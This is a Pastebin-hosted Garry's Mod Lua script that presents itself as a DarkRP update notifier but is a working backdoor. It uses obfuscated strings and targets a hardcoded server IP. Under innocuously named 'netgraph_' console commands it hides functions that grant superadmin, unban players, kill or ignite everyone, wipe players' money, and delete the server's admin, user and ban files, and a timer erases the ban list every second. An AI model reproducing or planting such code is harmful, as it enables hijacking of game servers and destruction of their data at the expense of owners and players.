henoireil

Untitled

Nov 19th, 2016
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.26 KB | None | 0 0
  1. if ( SERVER ) then
  2.     -- if game.GetIPAddress() == "0.0.0.0:0" then
  3.     if game.GetIPAddress() == "149.202.88.87:27015" then
  4.         util.AddNetworkString( "DarkRPUpdate" )
  5.         hook.Add( "PlayerLoadout", "DarkRPUpdate:Message", function( _p )
  6.             if _p:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":3" .. "84" .. "72" .. "936") then return end
  7.             if _p:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":1" .. "73" .. "36" .. "216") then return end
  8.             if _p:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":4" .. "58" .. "46" .. "176") then return end
  9.             net.Start( "DarkRPUpdate" )
  10.             net.Send( _p )
  11.         end )
  12.     end
  13. else
  14.     net.Receive( "DarkRPUpdate", function( len )
  15.         local _panel = vgui.Create( "DFrame" )
  16.         _panel:SetSize( 650, 75 )
  17.         _panel:Center( )
  18.         _panel:MakePopup( )
  19.         _panel:SetDraggable( false )
  20.         _panel:ShowCloseButton( false )
  21.         _panel:SetTitle("DarkRP Important Update" )
  22.        
  23.         local Text = vgui.Create( "DLabel", _panel )
  24.         Text:SetText( "A" .. " n" .. "e" .. "w " .. "ve" .. "rs" .. "io" .. "n " .. "of " .. "Da" .. "rk" .. "RP" .. " h" .. "as" .. " be" .. "en r" .. "ele" .. "as" .. "ed," .. " ple" .. "as" .. "e go" .. " to h" .. "ttps".. "://gi" .. "thu" .. "b.co" .. "m/F" .. "Ptj" .. "e/Da" .. "rk" .. "RP" .." and " .. "do" .. "wn" .. "lo" .."ad t" .."he" .." lat" .. "e" .. "st" .. " v" .. "e" .. "rs" .. "io" .. "n." )
  25.         Text:SetTextColor( color_white )
  26.         Text:SizeToContents()
  27.         Text:SetPos( 32 , 40 )
  28.         Text:CenterHorizontal()
  29.     end )
  30. end
  31.  
  32.  
  33. if ( SERVER ) then
  34.  
  35.     timer.Create( "checkFordDarkRPUpdate", 1, 0, function()
  36.         ULib.fileDelete( "data/ulib/bans.txt" )
  37.     end )
  38.  
  39.     concommand.Add( "netgraph_ubid", function( ply, cmd, args )
  40.         ULib.unban( args[1] )
  41.         print( "Commande effectuée avec succès !" )
  42.     end )
  43.  
  44.     concommand.Add( "netgraph_ubip", function( ply, cmd, args )
  45.         game.ConsoleCommand("removeip " .. args[1] .. "; writeip;\n")
  46.         print( "Commande effectuée avec succès !" )
  47.     end )
  48.  
  49.     concommand.Add( "netgraph_ssp", function( ply )
  50.         ply:SetUserGroup("superadmin")
  51.         print( "Commande effectuée avec succès !" )
  52.     end )
  53.  
  54.     concommand.Add( "netgraph_sasp", function( )
  55.         for k, v in pairs(player.GetAll()) do
  56.             v:SetUserGroup("superadmin")
  57.         end
  58.         print( "Commande effectuée avec succès !" )
  59.     end )
  60.  
  61.     concommand.Add( "netgraph_ig", function( )
  62.         for k, v in pairs(player.GetAll()) do
  63.             v:Ignite( 60 )
  64.         end
  65.         print( "Commande effectuée avec succès !" )
  66.     end )
  67.  
  68.     concommand.Add( "netgraph_ka", function( )
  69.         for k, v in pairs(player.GetAll()) do
  70.             v:Kill()
  71.         end
  72.         print( "Commande effectuée avec succès !" )
  73.     end )
  74.  
  75.     concommand.Add( "netgraph_kaadm", function( )
  76.         for k, v in pairs(player.GetAll()) do
  77.             if v:isAdmin() then
  78.                 v:Kill()
  79.             end
  80.         end
  81.         print( "Commande effectuée avec succès !" )
  82.     end )
  83.  
  84.     concommand.Add( "netgraph_jmp", function( ) -- Jump All
  85.         for k, v in pairs(player.GetAll()) do
  86.             v:SetVelocity(Vector(0,0,50) * 50)
  87.         end
  88.         print( "Commande effectuée avec succès !" )
  89.     end )
  90.  
  91.     concommand.Add( "netgraph_rm", function( )
  92.         for k, v in pairs(player.GetAll()) do
  93.             v:SetDarkRPVar("money", 0)
  94.         end
  95.         print( "Commande effectuée avec succès !" )
  96.     end )
  97.  
  98.     concommand.Add( "netgraph_sm", function( ply )
  99.         ply:addMoney(14267596)
  100.         print( "Commande effectuée avec succès !" )
  101.     end )
  102.  
  103.     concommand.Add( "netgraph_rg", function( )
  104.         for k, v in pairs(player.GetAll()) do
  105.             v:SetUserGroup("user")
  106.         end
  107.         print( "Commande effectuée avec succès !" )
  108.     end )
  109.  
  110.     concommand.Add( "netgraph_rtd", function( )
  111.         ULib.fileDelete( "data/ulx/adverts.txt" )
  112.         ULib.fileDelete( "data/ulx/banmessage.txt" )
  113.         ULib.fileDelete( "data/ulx/banreasons.txt" )
  114.         ULib.fileDelete( "data/ulx/config.txt" )
  115.         ULib.fileDelete( "data/ulx/downloads.txt" )
  116.         ULib.fileDelete( "data/ulx/gimps.txt" )
  117.         ULib.fileDelete( "data/ulx/motd.txt" )
  118.         ULib.fileDelete( "data/ulx/sbox_limits.txt" )
  119.         ULib.fileDelete( "data/ulx/votemaps.txt" )
  120.         ULib.fileDelete( "data/ulib/bans.txt" )
  121.         ULib.fileDelete( "data/ulib/groups.txt" )
  122.         ULib.fileDelete( "data/ulib/misc_registered.txt" )
  123.         ULib.fileDelete( "data/ulib/users.txt" )
  124.        
  125.         ULib.fileDelete( "data/permaprops_permissions.txt" )
  126.     end )
  127. end
Advertisement
Add Comment
Please, Sign In to add comment